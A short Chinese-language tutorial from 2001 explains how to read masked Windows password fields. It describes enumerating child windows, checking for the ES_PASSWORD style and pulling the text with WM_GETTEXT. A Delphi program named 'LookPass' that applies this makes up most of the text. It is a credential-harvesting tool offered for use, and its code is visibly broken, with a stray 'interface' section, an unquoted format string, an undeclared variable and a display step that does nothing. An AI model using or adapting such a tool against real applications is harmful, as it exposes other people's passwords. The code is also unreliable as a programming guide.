Windows系統的密碼是很脆弱的,因為所有的密碼輸入的時候都顯示為********
表面上看這很安全,因為一般人不懂*******是什麼東西,但其實要看到*******
下的內容是很容易的事,工作原理如下:
Windows是基於窗口的消息驅動型作業系統,每個窗口都有自已的屬性,其中密碼窗
口的屬性是ES_PASSWORD,所以我們可以利用枚舉子窗口EnumChildWindows的方法
來找出系統中所有子窗口,再檢查其屬性GetWindowLong,若是ES_PASSWORD則是個密碼窗
然後用SendMessage()取得窗口標題,那就是******下的真正內容
=========下面是Delphi程序=====================
program LookPass;
interface
uses
Windows, Messages, SysUtils;
var
hcount:integer;
//這是一個窗口響應函數,注意:Result:=true很重要,因為只有這樣才能連續掃描所有子窗口
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hs,wlong:integer;
sbuf,sb2:array[0..256] of char;
sb1:string;
begin
//得到窗口的屬性
wlong:=GetWindowLong(hwnd,GWL_STYLE);
//若屬性為es_password則為密碼窗
if (wlong and ES_PASSWORD)<>0 then
begin
inc(hcount);
//發送獲取窗口標題的消息
sendmessage(hwnd,wm_gettext,40,integer(@sbuf));
//設置得到的密碼
strpcopy(sbuf,format([Password %d] = %s,[hcount,sbuf]));
//顯示密碼
end;
//result為true時繼續掃描下一個子窗口
result:=true;
end;
begin
lp:=0;hcount:=0;
//枚舉子窗口,GetDesktopWindow用來得到桌面的句柄
EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end.
//////////////////////////////////////////////////////////////////////////////
作者:倪建華
Copyright (C) 2001-6-27 Allright Reserved.